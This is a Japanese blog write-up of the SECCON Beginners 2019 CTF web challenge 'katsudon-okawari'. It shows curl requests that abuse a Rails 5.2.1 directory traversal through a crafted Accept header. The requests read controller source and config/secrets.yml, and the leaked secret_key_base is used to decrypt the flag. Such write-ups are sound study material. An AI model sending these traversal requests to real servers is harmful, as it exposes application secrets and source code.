【SECCON for Beginners 2019】katsudon-okawari 勉強してみる会
この記事は
弱々な自分のためにWriteUp見て勉強するだけなので、詳しく知りたい方は私が参考にしたサイトさんへ飛んでください!
参考サイト
katsudon-okawari
katsudon
という問題が出題されたのですが、想定解でないものが見つかりおそらく再調整された問題がこれ。のちにわかるのですが、katsudon
とは違う鍵の認証をコントローラでやってます。katsudon
は下のコードだった。
serial_code = params[:serial_code] @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
で、みんな恐らくググってたどり着いたであろうこのサイトによると、特定の方法でレンダされたページから、ディレクトリトラバーサル攻撃可能だそうです。普通にやばいけど一般的にRails
では、MVC
がいい感じに呼び合ってくれるので、RESTful
なページでは発生しなさそう。それこそ404
ページとかその辺りの表示に使うかも。
で、今回出題にはRails
のバージョンが5.2.1
との指定があったので、恐らく上記の脆弱性を使用する。
今回渡されるフラグの元は
bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==—cUS9fQetfBC8wsV7—E8vQbRF4vHovYlPFvH3UnQ==
であり、これが掲載されたページのソースには下のコメントがあったのでここから、ファイルを覗き見て複合するって感じだそうです。
.. <div class="main"> bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ== </div> ..
まずコメントのページにアクセス
$curl https://katsudon-okawari.quals.beginners.seccon.jp/flag -H 'Accept: ../../app/controllers/coupon_controller.rb{{' class CouponController < ApplicationController def index end def show serial_code = params[:serial_code] msg_encryptor = ::ActiveSupport::MessageEncryptor.new(Rails.application.secrets[:secret_key_base][0..31], cipher: "aes-256-gcm") @coupon_id = msg_encryptor.encrypt_and_sign(serial_code) end end
Rails.application.secrets[:secret_key_base][0..31]
からconfig/secrets.yml
を読めばキーがわかりそうです。余談ですが、Rails 5.2
からこの手段config/secrets.yml
は廃止されcredentials.yml.enc
になったはずです。(一応この手法も残されてはいた)
$ curl https://katsudon-okawari.quals.beginners.seccon.jp/flag -H 'Accept: ../../config/secrets.yml{{' ... production: secret_key_base: 4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34
これでsecret_key_base
がわかったので、解けそうです。
[1] pry(main)> secrets = '4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34'[0..31] => "4e78e9e627139829910a03eedc8b2455" [2] pry(main)> [3] pry(main)> [4] pry(main)> msg_encryptor = ::ActiveSupport::MessageEncryptor.new(secrets, cipher: "aes-256-gcm") => #<ActiveSupport::MessageEncryptor:0x00007fe2da26b500 @aead_mode=true, @cipher="aes-256-gcm", @options={:cipher=>"aes-256-gcm"}, @rotations=[], @secret="4e78e9e627139829910a03eedc8b2455", @serializer=Marshal, @sign_secret=nil, @verifier=ActiveSupport::MessageEncryptor::NullVerifier> [5] pry(main)> flag = msg_encryptor.decrypt_and_verify('bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ==') => "ctf4b{06a46a95f2078ae095470992cd02f419}" [6] pry(main)>
フラグは
ctf4b{06a46a95f2078ae095470992cd02f419}
頑張ってれば解けてたかもなぁ、(悔)まぁ惜しくても解けなきゃ0点なんで
余談
こんな感じで他のファイルも見られる。
$ curl nners.seccon.jp/flag -H 'Accept: ../../config/routes.rb{{' Rails.application.routes.draw do # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html root to: "application#index" get '/storelists', to: "storelists#index" get '/flag', to: "application#flag" get '/coupon', to: "coupon#index" post '/coupon', to: "coupon#show" end
$curl https://katsudon-okawari.quals.beginners.seccon.jp/flag -H 'Accept: ../../app/controllers/application_controller.rb{{' class ApplicationController < ActionController::Base def index redirect_to "/storelists" end def flag render file: "#{Rails.root}/flag.txt" end
Rails
のコントローラの命名規則とか守ってなかったり、ルーティングも即席っぽかったりと、CTF
の問題を作る人はきっと大変なんだろうなぁ、ありがたいなぁと思いました。